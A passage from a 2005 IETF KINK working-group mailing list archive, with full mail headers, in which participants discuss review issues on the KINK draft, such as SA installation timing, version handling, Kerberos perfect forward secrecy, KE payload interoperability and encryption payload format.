mode. KINK can establish > Shoichi> the same SA that IKEv1 do so. > > Section 4.3 calls out a lot of explicit detail. For example it says > exactly when to add SAs to the SPD, etc. This detail is presented as > Kink specific. > > I am asking for review to confirm that this detail did not conflict > with anything in the IKE spec. If section 4.3 said to just do what > IKE does, I would not have called it out. IKE does not unfortunately specify when an implementation adds SAs to the SAD. And KINK's optimistic approach (2-way handshake) is new to IKEv1. Therefore KINK specifies it in detail. I think the detailed description in section 4.3 is necessary. I think SA setup sequence in 3-way handshake should also be written, in addition to the current descriptions. -- KAMADA Ken'ichi From owner-ietf-kink Fri Feb 4 02:27:32 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14ARWCw092937; Fri, 4 Feb 2005 02:27:32 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j14ARWP5092936; Fri, 4 Feb 2005 02:27:32 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14ARRNT092778 for ; Fri, 4 Feb 2005 02:27:31 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j14AOphB030118; Fri, 4 Feb 2005 19:24:51 +0900 (JST) (envelope-from sakane@kame.net) To: mat@cisco.com Cc: hartmans-ietf@MIT.EDU, ietf-kink@vpnc.org Subject: Re: KINK issue list rev.2 In-Reply-To: Your message of "Wed, 02 Feb 2005 12:43:48 -0800" <1107377028.6704.22.camel@thomasm-lnx.cisco.com> References: <1107377028.6704.22.camel@thomasm-lnx.cisco.com> X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050204192217C.sakane@kame.net> Date: Fri, 04 Feb 2005 19:22:17 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 26 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > On Wed, 2005-02-02 at 12:32, Sam Hartman wrote: > > >>>>> "Michael" == Michael Thomas writes: > > > > Michael> So I'm rather ambivalent. The current phrasing will > > Michael> certainly do it's main job: stopping a receiver from > > Michael> incorrectly parsing future versions and the potential > > Michael> exploits that could result. Maybe we really should leave > > Michael> it at that if for no other reason from a security/system > > Michael> analysis standpoint. > > > > If you want to leave it please at least say that the receiver must > > send back the appropriate bad version error. > > Well, I'm actually asking what others want here. I sort > of tend toward this, but it's not just my call here... I don't think KINK will have minor change often, and I don't think the minor version will bring worth things to KINK. so I feel that I want to remove the minor version from KINK specification. However, if we will leave it, it is policy matter to process a message with a higher minor version. so we have to describe like below: if a endpoint receives a message with a higher major version number, it MUST drop the message and SHOULD send a KINK_ERROR with KINK_INVMIN. From owner-ietf-kink Fri Feb 4 05:06:17 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14D6GtV043502; Fri, 4 Feb 2005 05:06:17 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j14D6Gib043489; Fri, 4 Feb 2005 05:06:16 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14D678Y043416 for ; Fri, 4 Feb 2005 05:06:12 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j14CDdhB030830 for ; Fri, 4 Feb 2005 21:13:40 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: #22 X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050204211105O.sakane@kame.net> Date: Fri, 04 Feb 2005 21:11:05 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 13 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > #22 [*] Kerberos PFS (section 6.8) > > Sec 6.8: "Kerberos in general does not provide PFS so it is somewhat > questionable whether a system which is heavily relying on Kerberos > benefits from PFS." First, that sounds like it might be Security > Considerations material. Second, I don't follow; explain please? > (Ken Raeburn) I agree with Ken about the first. the document has to describe this issue in the security consideration even if the thing is not issue, at least, the document says that is questionable. I don't understand what Ken meant. what don't you follow ? From owner-ietf-kink Fri Feb 4 05:06:16 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14D6Fq4043487; Fri, 4 Feb 2005 05:06:15 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j14D6Fbo043482; Fri, 4 Feb 2005 05:06:15 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14D678W043416 for ; Fri, 4 Feb 2005 05:06:12 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j14CcIhB030920 for ; Fri, 4 Feb 2005 21:38:19 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: #23 [*] KE interoperability (section 6.8) X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050204213547M.sakane@kame.net> Date: Fri, 04 Feb 2005 21:35:47 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 21 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > #23 [*] KE interoperability (section 6.8) > > What happens if a peer that implements the KE payloads communicates > with a peer that does not. Specify the behavior in sufficient detail > to guarantee interoperability. (Sam Hartman) my understanding is correct, there is no description in the IKEv1 specifications though it defines the error code which can be used in this case. IKEv2 defines clearly. so if KINK specification complies to IKEv1 manner, we have to define the behavior and describe it for interoperability. if KINK complies to IKEv2 manner, we can probably leave it. another problem comes up. there is no way to negotiate a DH group to use in a quick mode. so in IKEv1, they have to define the DH group before they negotiate. current KINK specification does not touch it. this is no matter in IKEv2. and an initiator can not install the inbound SA when the initiator choices to send KE because KEYMAT is not calculated before the initiator receives KE from the responder. the document has to touch this situation. From owner-ietf-kink Fri Feb 4 05:06:18 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14D6I3E043519; Fri, 4 Feb 2005 05:06:18 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j14D6Ioe043515; Fri, 4 Feb 2005 05:06:18 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14D678e043416 for ; Fri, 4 Feb 2005 05:06:15 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j14B6fhB030384 for ; Fri, 4 Feb 2005 20:06:41 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: #5 [*] When 3-way, is responder's nonce MUST or SHOULD? X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050204200406K.sakane@kame.net> Date: Fri, 04 Feb 2005 20:04:06 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 27 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > #5 [*] When 3-way, is responder's nonce MUST or SHOULD? (section 4.3 and 7.3) > (solution proposed) > > Sec 4.3 and 7.3 use SHOULD and MUST respectively regarding when the > nonce should be used. If the circumstances they're describing are > different, that's okay, but if so, I missed it on first reading. > (Ken Raeburn) > > They are talking the same situation and the requirement levels should > be aligned. I think SHOULD is appropriate because non-returning > responder's nonce does not break interoperabilities. > (Message-ID: <20050127171441FF%kamada@nanohz.org>) > > If the initiator receives a responder's nonce, she MUST use > it in the KEYMAT calculation. I think it is also editorial issue. anyway, the behavior depends on condition. if a responder does not agree with the initiator's proposal, AND if the responder wants to continue the transaction, then the responder MUST send back a message with ACK request bit, and MAY contain a nonce. There is a case when the responder wants to use same KEYMAT of the initiator, but just doesn't want to use the initiator's proposal. It is not always required to add a nonce. When the initiator receives a nonce as the reply from the responder, AND the initiator wants to continue the transaction, then the initiator MUST reculculates KEYMAT with the nonce, and MUST send back a ACK message. From owner-ietf-kink Fri Feb 4 05:06:18 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14D6IsE043514; Fri, 4 Feb 2005 05:06:18 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j14D6ILq043512; Fri, 4 Feb 2005 05:06:18 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14D678c043416 for ; Fri, 4 Feb 2005 05:06:14 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j14C0ChB030692 for ; Fri, 4 Feb 2005 21:00:12 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: #20 [**] KINK_ENCRYPT format (section 5.1.8) X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050204205737C.sakane@kame.net> Date: Fri, 04 Feb 2005 20:57:37 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 25 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: i agree that KINK uses the output of the kcrypto function. it will make a calculation cost slightly high. but as my experience of implementing KINK, i can say that it will be fine to use the library directly. and Ken's comment is important. we can not say that such crypto algorithm will not published. > #20 [**] KINK_ENCRYPT format (section 5.1.8) > > The format of the encrypted part of KINK_ENCRYPT (section 5.1.8) is > vague. I think of using the output of raw encryption algorithms > (i.e. E(confounder | plaintext | pad)) or using EncryptedData. > > treat "encryption with > integrity protection" output as a whole, don't peek under the covers to > find a "checksum" part you can throw away (Ken Raeburn) > > drop references to the initialization vector (Ken Raeburn) > > Please use the output of the kcrypto encrypt > operation directly. Of most importance is to make sure that all > kcrypto enctypes will work even if it is not possible to decompose the > kcrypto checksum from the encrypted data. This probably means that in > some cases you will have double checksums. > You also need to deal with making sure you can determine the length of > the plaintext. (Sam Hartman) From owner-ietf-kink Fri Feb 4 05:06:18 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14D6Hmt043508; Fri, 4 Feb 2005 05:06:17 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j14D6HoE043507; Fri, 4 Feb 2005 05:06:17 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14D678a043416 for ; Fri, 4 Feb 2005 05:06:13 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j14C6WhB030791 for ; Fri, 4 Feb 2005 21:06:32 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: #21 [*] Next Payload in KINK_ENCRYPT (section 5.1.8) X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050204210401T.sakane@kame.net> Date: Fri, 04 Feb 2005 21:04:01 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 10 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > #21 [*] Next Payload in KINK_ENCRYPT (section 5.1.8) > > Text should probably indacte that next payload must be none. the section 5.1 describes: NextPayload type KINK_DONE denotes that the current payload is the final payload in the message. however it would be better to describe explicitly so. reader does not has trouble even if the text is described repeatedly. From owner-ietf-kink Fri Feb 4 05:06:18 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14D6I5k043520; Fri, 4 Feb 2005 05:06:18 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j14D6IeA043518; Fri, 4 Feb 2005 05:06:18 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14D678g043416 for ; Fri, 4 Feb 2005 05:06:15 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j14BWChB030542 for ; Fri, 4 Feb 2005 20:32:12 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: #18 [**] Kerberos error type limitations (section 5.1.4) X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050204202941G.sakane@kame.net> Date: Fri, 04 Feb 2005 20:29:41 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 17 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > #18 [**] Kerberos error type limitations (section 5.1.4) > > Why should a sender send only those errors? I'm mostly asking > for an explanation to be given to me or to be added to the document > rather than liberalization of the requirement. (Sam Hartman) I am not sure why the document describes such limitations. If we don't have any reason, remove the limitations, and remove the text: but the sender SHOULD send only the following errors: KRB5KRB_AP_ERR_BAD_INTEGRITY KRB5KRB_AP_ERR_TKT_EXPIRED KRB5KRB_AP_ERR_SKEW KRB5KRB_AP_ERR_NOKEY KRB5KRB_AP_ERR_BADKEYVER From owner-ietf-kink Fri Feb 4 06:31:44 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14EVi9d062297; Fri, 4 Feb 2005 06:31:44 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j14EViT1062296; Fri, 4 Feb 2005 06:31:44 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-1.cisco.com (sj-iport-1-in.cisco.com [171.71.176.70]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14EVhvR062272 for ; Fri, 4 Feb 2005 06:31:43 -0800 (PST) (envelope-from mat@cisco.com) Received: from sj-core-1.cisco.com (171.71.177.237) by sj-iport-1.cisco.com with ESMTP; 04 Feb 2005 06:25:08 -0800 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id j14EFSoQ006505; Fri, 4 Feb 2005 06:15:31 -0800 (PST) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j14EB6fq004636; Fri, 4 Feb 2005 06:11:06 -0800 Subject: Re: #22 From: Michael Thomas To: Shoichi Sakane Cc: ietf-kink@vpnc.org In-Reply-To: <20050204211105O.sakane@kame.net> References: <20050204211105O.sakane@kame.net> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-GZm/2Y6nIvm8YolcbhCP" Organization: Cisco Systems Message-Id: <1107526530.8247.29.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Fri, 04 Feb 2005 06:15:30 -0800 IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1107526266.512906"; x:"432200"; a:"rsa-sha1"; b:"nofws:1376"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"noI7HjrEQ1nKwMWyl2dNt+WyHHzFbpXrTE27V/6/uLc6rPg9BX1UNnFU43FcMtBteomdPUSI" "9IaH+StW+JECx1YCijkyBC+djionVpKozM5tb36QHpLD52Mfegj7e/+q1OCyv/3xNtDo2U/CKgF" "weBZ4CgynjnhJ7+MpXTL/rWs="; c:"Subject: Re: #22"; c:"From: Michael Thomas "; c:"Date: Fri, 04 Feb 2005 06:15:30 -0800" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-GZm/2Y6nIvm8YolcbhCP Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Fri, 2005-02-04 at 04:11, Shoichi Sakane wrote: > > #22 [*] Kerberos PFS (section 6.8) > >=20 > > Sec 6.8: "Kerberos in general does not provide PFS so it is somewhat=20 > > questionable whether a system which is heavily relying on Kerberos=20 > > benefits from PFS." First, that sounds like it might be Security=20 > > Considerations material. Second, I don't follow; explain please? > > (Ken Raeburn) >=20 > I agree with Ken about the first. the document has to describe this > issue in the security consideration even if the thing is not issue, > at least, the document says that is questionable. >=20 > I don't understand what Ken meant. what don't you follow ? Well, it's pretty simple really: when you get tickets from the KDC, they aren't protected by PFS so using PFS later is pretty questionable. It's not useless, but it's not any huge win either. Until Kerberos itself supports PFS, people deploying KINK really ought not get worked up into a lather about turning on PFS to improve security since it's doesn't to any great degree. Mike --=-GZm/2Y6nIvm8YolcbhCP Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQgODgbMsDAj/Eq++AQJ0PAP+O5GxqizJALjfIC2LFtel4e+fx+5AbeMi NczRWrtnjtiUvwNLIJML+j4IbC8iWGQGkOTupUCdl7OHdWC9fdasDX71VZqxuqFy S0IAf8C39J2Yh6w1iO2jOTmG0FBqeD8nzB1of/JuEDZEXJZaoR1GYcvWTZi5ua9K H3PeEj7mpO0= =ibS+ -----END PGP SIGNATURE----- --=-GZm/2Y6nIvm8YolcbhCP-- From owner-ietf-kink Fri Feb 4 06:45:44 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14EjhSI063268; Fri, 4 Feb 2005 06:45:44 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j14EjhM3063267; Fri, 4 Feb 2005 06:45:43 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-1.cisco.com (sj-iport-1-in.cisco.com [171.71.176.70]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14EjgN2063254 for ; Fri, 4 Feb 2005 06:45:43 -0800 (PST) (envelope-from mat@cisco.com) Received: from sj-core-5.cisco.com (171.71.177.238) by sj-iport-1.cisco.com with ESMTP; 04 Feb 2005 06:55:10 -0800 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id j14EjYF1015237; Fri, 4 Feb 2005 06:45:35 -0800 (PST) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j14Ef91b004826; Fri, 4 Feb 2005 06:41:10 -0800 Subject: Re: #23 [*] KE interoperability (section 6.8) From: Michael Thomas To: Shoichi Sakane Cc: ietf-kink@vpnc.org In-Reply-To: <20050204213547M.sakane@kame.net> References: <20050204213547M.sakane@kame.net> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-qVBtwdX6hxK9p1Q9+/p0" Organization: Cisco Systems Message-Id: <1107528333.8249.33.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Fri, 04 Feb 2005 06:45:33 -0800 IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1107528070.200110"; x:"432200"; a:"rsa-sha1"; b:"nofws:1761"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"kiddXFQBLoDGHsi0nHzDW7+C3JsgztDZ8gWhnDegUki3j0ZZbFNQofuXU3URb3VntiyJQUv1" "hsHNVrOmN7LbThn5XklL7pubKag7ECzLxLLPj+1oHP5nmQr6iboDStQZY6vOv8pEZElUcxx7LY9" "JeLh2ou6V90Vxp0nf4Wn/9RY="; c:"Subject: Re: #23 [*] KE interoperability (section 6.8)"; c:"From: Michael Thomas "; c:"Date: Fri, 04 Feb 2005 06:45:33 -0800" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-qVBtwdX6hxK9p1Q9+/p0 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable I haven't looked it up in the draft, but my feeling is that the Receiver MUST implement KE payloads, though I suppose that it may be administratively rejected with an error message if it doesn't want to participate.=20 IKEv1 doesn't define it because it always expects that the initial DH is performed; KINK doesn't require this since there's already a shared key in the ticket. Mike On Fri, 2005-02-04 at 04:35, Shoichi Sakane wrote: > > #23 [*] KE interoperability (section 6.8) > >=20 > > What happens if a peer that implements the KE payloads communicates > > with a peer that does not. Specify the behavior in sufficient detail > > to guarantee interoperability. (Sam Hartman) >=20 > my understanding is correct, there is no description in the IKEv1 > specifications though it defines the error code which can be used > in this case. IKEv2 defines clearly. so if KINK specification > complies to IKEv1 manner, we have to define the behavior and describe > it for interoperability. if KINK complies to IKEv2 manner, we can > probably leave it. >=20 > another problem comes up. there is no way to negotiate a DH group > to use in a quick mode. so in IKEv1, they have to define the DH group > before they negotiate. current KINK specification does not touch it. > this is no matter in IKEv2. >=20 > and an initiator can not install the inbound SA when the initiator > choices to send KE because KEYMAT is not calculated before the initiator > receives KE from the responder. the document has to touch this situation= . --=-qVBtwdX6hxK9p1Q9+/p0 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQgOKjbMsDAj/Eq++AQINVgQAqzaQkUsbWMLD1mbgA0BUOwccjaKRLVM/ BNwW23UAhpBxEm/B/7aCCQfbyNZJR4nB3nlm2sGJ9FFBxf55zulPVFN8tVFunxDQ rnzRl5D40TbQz26wvX6a18HFP4IW+Xj8wix3E49od6iybwP95M+bQdmG5tWV6v+E GwCRChfgJNU= =XfeC -----END PGP SIGNATURE----- --=-qVBtwdX6hxK9p1Q9+/p0-- From owner-ietf-kink Fri Feb 4 06:51:35 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14EpXoc063761; Fri, 4 Feb 2005 06:51:34 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j14EpVVl063754; Fri, 4 Feb 2005 06:51:31 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-2.cisco.com (sj-iport-2-in.cisco.com [171.71.176.71]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14EpMwX063672 for ; Fri, 4 Feb 2005 06:51:28 -0800 (PST) (envelope-from mat@cisco.com) Received: from sj-core-5.cisco.com (171.71.177.238) by sj-iport-2.cisco.com with ESMTP; 04 Feb 2005 06:58:04 -0800 Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id j14EoIF1017583; Fri, 4 Feb 2005 06:50:19 -0800 (PST) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j14EjsBM004875; Fri, 4 Feb 2005 06:45:54 -0800 Subject: Re: AD review: draft-ietf-kink-kink [section 1-4] From: Michael Thomas To: "KAMADA Ken'ichi" Cc: ietf-kink@vpnc.org In-Reply-To: <20050204170454BO%kamada@nanohz.org> References: <20050202112802J.sakane@kame.net> <20050204170454BO%kamada@nanohz.org> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-l3VPnFXInysxg8yXeLON" Organization: Cisco Systems Message-Id: <1107528617.8247.39.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Fri, 04 Feb 2005 06:50:18 -0800 IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1107528354.119222"; x:"432200"; a:"rsa-sha1"; b:"nofws:1182"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"cFswwfNxnkdutR/i5hFDLnXRtWPR8G07Gjpk7noAuT/n1CX1Je+ykAh115IUxGYU0H5tB7lj" "epg9yFrvmcv+qJYX6T6zNf5Rb2xfvenrtq3TVctjZhObCT9xcDH5olZ9cHeBg9hwmHhcFThaz0p" "SUsbGGVO7ShEU012Z5RO6JV0="; c:"Subject: Re: AD review: draft-ietf-kink-kink [section 1-4]"; c:"From: Michael Thomas "; c:"Date: Fri, 04 Feb 2005 06:50:18 -0800" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-l3VPnFXInysxg8yXeLON Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Fri, 2005-02-04 at 00:04, KAMADA Ken'ichi wrote: > IKE does not unfortunately specify when an implementation adds SAs > to the SAD. And KINK's optimistic approach (2-way handshake) is > new to IKEv1. Therefore KINK specifies it in detail. > I think the detailed description in section 4.3 is necessary. >=20 > I think SA setup sequence in 3-way handshake should also be written, > in addition to the current descriptions. Right -- this was one of the huge deficiencies of IKE which we were very intent to deal with. KINK is actually has a *lot* of things corrected -- things that we hopefully also corrected in IKEv2. Which is why it's so annoying when it is suggested that KINK 